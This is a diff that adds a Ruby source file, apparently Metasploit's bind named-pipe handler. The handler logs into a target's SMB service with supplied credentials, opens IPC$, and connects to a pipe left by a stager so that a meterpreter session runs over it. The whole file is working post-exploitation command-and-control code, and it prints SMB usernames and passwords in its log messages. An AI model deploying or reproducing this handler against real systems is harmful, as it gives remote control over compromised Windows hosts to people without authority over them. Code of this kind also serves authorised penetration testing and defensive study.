|
| 1 | +# -*- coding: binary -*- |
| 2 | +require 'thread' |
| 3 | +require 'msf/core/post_mixin' |
| 4 | +require 'rex/proto/smb/simpleclient' |
| 5 | + |
| 6 | +# |
| 7 | +# KNOWN ISSUES |
| 8 | +# |
| 9 | +# 1) Interactive channels (ie shell) do not work well/at all. Neither do pivots. Issue |
| 10 | +# seems to be multiple threads writing to the pipe or some writes not being synchronized |
| 11 | +# and bypassing the OpenPipeSock methods. |
| 12 | +# 2) A peek named pipe operation is carried out before every read to prevent blocking. This |
| 13 | +# generates extra traffic. |
| 14 | +# |
| 15 | + |
| 16 | +# |
| 17 | +# Socket interface for named pipes. Because of the way named pipes work, reads and writes |
| 18 | +# each require both a sock.send (read/write request) and a sock.recv (read/write response). |
| 19 | +# So, pipe.read and pipe.write need to be synchronized so the responses arent mixed up. |
| 20 | +# |
| 21 | +# The packet dispatcher calls select on the socket to check for packets to read. This is |
| 22 | +# an issue when there are multiple writes since it will cause select to return which |
| 23 | +# triggers a read, but there is nothing to read since the pipe will already have read |
| 24 | +# the response. This read will then hold the mutex while the socket read waits to timeout. |
| 25 | +# |
| 26 | +class OpenPipeSock < Rex::Proto::SMB::SimpleClient::OpenPipe |
| 27 | + attr_accessor :mutex, :chunk_size, :last_comm, :write_queue, :write_thread, :read_buff |
| 28 | + |
| 29 | + def initialize(*args) |
| 30 | + super(*args) |
| 31 | + self.client = args[0] |
| 32 | + self.mutex = Mutex.new # synchronize read/writes |
| 33 | + self.last_comm = Time.now # last successfull read/write |
| 34 | + self.write_queue = Queue.new # queue message to send |
| 35 | + self.write_thread = Thread.new { dispatcher } |
| 36 | + self.read_buff = '' |
| 37 | + end |
| 38 | + |
| 39 | + # Check if there are any bytes to read and return number available. |
| 40 | + # Access must be synchronized. |
| 41 | + def peek_named_pipe |
| 42 | + # 0x23 is the PeekNamedPipe operation. Last 16 bits is our pipes file id (FID). |
| 43 | + setup = [0x23, self.file_id].pack('vv') |
| 44 | + # Must ignore errors since we expect STATUS_BUFFER_OVERFLOW |
| 45 | + pkt = self.client.trans_maxzero('\\PIPE\\', '', '', 2, setup, false, true, true) |
| 46 | + avail = 0 |
| 47 | + begin |
| 48 | + avail = pkt.to_s[pkt['Payload'].v['ParamOffset']+4, 2].unpack('v')[0] |
| 49 | + rescue |
| 50 | + end |
| 51 | + avail |
| 52 | + end |
| 53 | + |
| 54 | + # Runs as a thread and synchronizes writes. Allows write operations to return |
| 55 | + # immediately instead of waiting for the mutex. |
| 56 | + def dispatcher |
| 57 | + while true |
| 58 | + data = self.write_queue.pop |
| 59 | + self.mutex.synchronize do |
| 60 | + sent = 0 |
| 61 | + while sent < data.length |
| 62 | + count = [self.chunk_size, data.length-sent].min |
| 63 | + buf = data[sent, count] |
| 64 | + Rex::Proto::SMB::SimpleClient::OpenPipe.instance_method(:write).bind(self).call(buf) |
| 65 | + self.last_comm = Time.now |
| 66 | + sent += count |
| 67 | + end |
| 68 | + end |
| 69 | + end |
| 70 | + end |
| 71 | + |
| 72 | + # Intercepts the socket.close from the session manager when the session dies. |
| 73 | + # Cleanly terminates the SMB session and closes the socket. |
| 74 | + def close |
| 75 | + # Give the meterpreter shutdown command a chance |
| 76 | + self.write_queue.close |
| 77 | + while self.write_queue.size > 0 |
| 78 | + sleep(0.1) |
| 79 | + end |
| 80 | + self.write_thread.kill |
| 81 | + |
| 82 | + begin |
| 83 | + # close pipe |
| 84 | + super |
| 85 | + rescue => e |
| 86 | + end |
| 87 | + self.client.socket.close |
| 88 | + end |
| 89 | + |
| 90 | + def read(count) |
| 91 | + data = '' |
| 92 | + begin |
| 93 | + self.mutex.synchronize do |
| 94 | + avail = peek_named_pipe |
| 95 | + if avail > 0 |
| 96 | + while count > 0 |
| 97 | + buff = super([count, self.chunk_size].min) |
| 98 | + self.last_comm = Time.now |
| 99 | + count -= buff.length |
| 100 | + data += buff |
| 101 | + end |
| 102 | + end |
| 103 | + end |
| 104 | + rescue |
| 105 | + end |
| 106 | + |
| 107 | + if data.length == 0 |
| 108 | + # avoid full throttle polling |
| 109 | + Rex::ThreadSafe.sleep(0.1) |
| 110 | + end |
| 111 | + return data |
| 112 | + end |
| 113 | + |
| 114 | + def put (data) |
| 115 | + write(data) |
| 116 | + end |
| 117 | + |
| 118 | + def write (data) |
| 119 | + self.write_queue.push(data) |
| 120 | + data.length |
| 121 | + end |
| 122 | + |
| 123 | + # |
| 124 | + # The session manager expects a socket object so we must implement |
| 125 | + # fd, localinfo, and peerinfo. fd is passed to select while localinfo |
| 126 | + # and peerinfo are used to report the addresses and ports of the |
| 127 | + # connection. |
| 128 | + # |
| 129 | + def fd |
| 130 | + self.client.socket.fd |
| 131 | + end |
| 132 | + |
| 133 | + def localinfo |
| 134 | + self.client.socket.localinfo |
| 135 | + end |
| 136 | + |
| 137 | + def peerinfo |
| 138 | + self.client.socket.peerinfo |
| 139 | + end |
| 140 | + |
| 141 | +end |
| 142 | + |
| 143 | +# |
| 144 | +# SimpleClient for named pipe comms. Uses OpenPipe wrapper to provide |
| 145 | +# a socket interface required by the packet dispatcher. |
| 146 | +# |
| 147 | +class SimpleClientPipe < Rex::Proto::SMB::SimpleClient |
| 148 | + attr_accessor :pipe |
| 149 | + |
| 150 | + def initialize(*args) |
| 151 | + super(*args) |
| 152 | + self.pipe = nil |
| 153 | + end |
| 154 | + |
| 155 | + # Copy of SimpleClient.create_pipe except OpenPipeSock is used instead of OpenPipe. |
| 156 | + # This is because we need to implement our own read/write. |
| 157 | + def create_pipe(path) |
| 158 | + pkt = self.client.create_pipe(path, Rex::Proto::SMB::Constants::CREATE_ACCESS_EXIST) |
| 159 | + file_id = pkt['Payload'].v['FileID'] |
| 160 | + self.pipe = OpenPipeSock.new(self.client, path, self.client.last_tree_id, file_id) |
| 161 | + end |
| 162 | +end |
| 163 | + |
| 164 | +module Msf |
| 165 | + module Handler |
| 166 | + module BindNamedPipe |
| 167 | + |
| 168 | + include Msf::Handler |
| 169 | + |
| 170 | + # |
| 171 | + # Returns the string representation of the handler type, in this case |
| 172 | + # 'reverse_named_pipe'. |
| 173 | + # |
| 174 | + def self.handler_type |
| 175 | + "bind_named_pipe" |
| 176 | + end |
| 177 | + |
| 178 | + # |
| 179 | + # Returns the connection-described general handler type, in this case |
| 180 | + # 'reverse'. |
| 181 | + # |
| 182 | + def self.general_handler_type |
| 183 | + "bind" |
| 184 | + end |
| 185 | + |
| 186 | + # |
| 187 | + # Initializes the reverse handler and ads the options that are required |
| 188 | + # for reverse named pipe payloads. |
| 189 | + # |
| 190 | + def initialize(info={}) |
| 191 | + super |
| 192 | + |
| 193 | + register_options( |
| 194 | + [ |
| 195 | + OptString.new('PIPENAME', [true, 'Name of the pipe to connect to', 'msf-pipe']), |
| 196 | + OptString.new('RHOST', [false, 'Host of the pipe to connect to', '']), |
| 197 | + OptPort.new('LPORT', [true, 'SMB port', 445]), |
| 198 | + OptString.new('SMBUser', [false, 'The username to authenticate as', '']), |
| 199 | + OptString.new('SMBPass', [false, 'The password for the specified username', '']), |
| 200 | + OptString.new('SMBDomain', [false, 'The Windows domain to use for authentication', '.']), |
| 201 | + ], Msf::Handler::BindNamedPipe) |
| 202 | + register_advanced_options( |
| 203 | + [ |
| 204 | + OptString.new('SMBDirect', [true, 'The target port is a raw SMB service (not NetBIOS)', true]), |
| 205 | + OptInt.new('CHUNKSIZE', [false, 'Max pipe read/write size per request', 4096]) # > 4096 is unreliable |
| 206 | + ], Msf::Handler::BindNamedPipe) |
| 207 | + |
| 208 | + self.conn_threads = [] |
| 209 | + self.listener_threads = [] |
| 210 | + end |
| 211 | + |
| 212 | + # A string suitable for displaying to the user |
| 213 | + # |
| 214 | + # @return [String] |
| 215 | + def human_name |
| 216 | + "bind named pipe" |
| 217 | + end |
| 218 | + |
| 219 | + # |
| 220 | + # Starts monitoring for an inbound connection. |
| 221 | + # |
| 222 | + def start_handler |
| 223 | + # Maximum number of seconds to run the handler |
| 224 | + ctimeout = 150 |
| 225 | + |
| 226 | + if (exploit_config and exploit_config['active_timeout']) |
| 227 | + ctimeout = exploit_config['active_timeout'].to_i |
| 228 | + end |
| 229 | + |
| 230 | + # Take a copy of the datastore options |
| 231 | + rhost = datastore['RHOST'] |
| 232 | + lport = datastore['LPORT'].to_i |
| 233 | + pipe_name = datastore['PIPENAME'] |
| 234 | + smbuser = datastore['SMBUser'] |
| 235 | + smbpass = datastore['SMBPass'] |
| 236 | + smbdomain = datastore['SMBDomain'] |
| 237 | + smbdirect = datastore['SMBDirect'] |
| 238 | + smbshare = "\\\\#{rhost}\\IPC$" |
| 239 | + chunk_size = datastore['CHUNKSIZE'] |
| 240 | + |
| 241 | + # Ignore this if one of the required options is missing |
| 242 | + return if not rhost |
| 243 | + return if not lport |
| 244 | + |
| 245 | + # Start a new handling thread |
| 246 | + self.listener_threads << framework.threads.spawn("BindNamedPipeHandlerListener-#{pipe_name}", false) { |
| 247 | + sock = nil |
| 248 | + print_status("Started bind pipe handler") |
| 249 | + |
| 250 | + # First, create a socket and connect to the SMB service |
| 251 | + vprint_status("Connecting to #{rhost}:#{lport}") |
| 252 | + begin |
| 253 | + sock = Rex::Socket::Tcp.create( |
| 254 | + 'PeerHost' => rhost, |
| 255 | + 'PeerPort' => lport.to_i, |
| 256 | + 'Proxies' => datastore['Proxies'], |
| 257 | + 'Context' => |
| 258 | + { |
| 259 | + 'Msf' => framework, |
| 260 | + 'MsfPayload' => self, |
| 261 | + 'MsfExploit' => assoc_exploit |
| 262 | + }) |
| 263 | + rescue Rex::ConnectionRefused |
| 264 | + rescue ::Exception |
| 265 | + wlog("Exception caught in bind handler: #{$!.class} #{$!}") |
| 266 | + end |
| 267 | + |
| 268 | + if not sock |
| 269 | + print_error("Failed to connect socket #{rhost}:#{lport}") |
| 270 | + return |
| 271 | + end |
| 272 | + |
| 273 | + # Perform SMB logon |
| 274 | + simple = SimpleClientPipe.new(sock, smbdirect) |
| 275 | + |
| 276 | + begin |
| 277 | + simple.login('*SMBSERVER', smbuser, smbpass, smbdomain) |
| 278 | + vprint_status("SMB login Success #{smbdomain}\\#{smbuser}:#{smbpass} #{rhost}:#{lport}") |
| 279 | + rescue |
| 280 | + print_error("SMB login Failure #{smbdomain}\\#{smbuser}:#{smbpass} #{rhost}:#{lport}") |
| 281 | + return |
| 282 | + end |
| 283 | + |
| 284 | + # Connect to the IPC$ share so we can use named pipes. |
| 285 | + simple.connect(smbshare) |
| 286 | + vprint_status("Connected to #{smbshare}") |
| 287 | + |
| 288 | + # Make several attempts to connect to the stagers named pipe. Authenticating and |
| 289 | + # connecting to IPC$ should be possible pre stager so we only retry this operation. |
| 290 | + # The stager creates the pipe with a default ACL which provides r/w to the creator |
| 291 | + # and administrators. |
| 292 | + stime = Time.now.to_i |
| 293 | + while (stime + ctimeout > Time.now.to_i) |
| 294 | + begin |
| 295 | + pipe = simple.create_pipe("\\"+pipe_name) |
| 296 | + rescue |
| 297 | + Rex::ThreadSafe.sleep(1.0) |
| 298 | + end |
| 299 | + break if pipe |
| 300 | + end |
| 301 | + |
| 302 | + if not pipe |
| 303 | + print_error("Failed to connect to pipe #{smbshare}") |
| 304 | + return |
| 305 | + end |
| 306 | + |
| 307 | + pipe.chunk_size = chunk_size |
| 308 | + vprint_status("Opened pipe \\#{pipe_name}") |
| 309 | + |
| 310 | + # Increment the has connection counter |
| 311 | + self.pending_connections += 1 |
| 312 | + |
| 313 | + # Timeout and datastore options need to be passed through to the client |
| 314 | + opts = { |
| 315 | + :datastore => datastore, |
| 316 | + :expiration => datastore['SessionExpirationTimeout'].to_i, |
| 317 | + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, |
| 318 | + :retry_total => datastore['SessionRetryTotal'].to_i, |
| 319 | + :retry_wait => datastore['SessionRetryWait'].to_i |
| 320 | + } |
| 321 | + |
| 322 | + conn_threads << framework.threads.spawn("BindNamedPipeHandlerSession", false, simple) { |simple_copy| |
| 323 | + begin |
| 324 | + session = handle_connection(simple_copy.pipe, opts) |
| 325 | + rescue => e |
| 326 | + elog("Exception raised from BindNamedPipe.handle_connection: #{$!}") |
| 327 | + end |
| 328 | + } |
| 329 | + } |
| 330 | + end |
| 331 | + |
| 332 | + # |
| 333 | + # Stop |
| 334 | + # |
| 335 | + def stop_handler |
| 336 | + self.listener_threads.each do |t| |
| 337 | + t.kill |
| 338 | + end |
| 339 | + self.listener_threads = [] |
| 340 | + end |
| 341 | + |
| 342 | + # |
| 343 | + # Cleanup |
| 344 | + # |
| 345 | + def cleanup_handler |
| 346 | + self.conn_threads.each { |t| |
| 347 | + t.kill |
| 348 | + } |
| 349 | + end |
| 350 | + |
| 351 | + protected |
| 352 | + |
| 353 | + attr_accessor :conn_threads |
| 354 | + attr_accessor :listener_threads |
| 355 | + |
| 356 | + end |
| 357 | + end |
| 358 | +end |
0 commit comments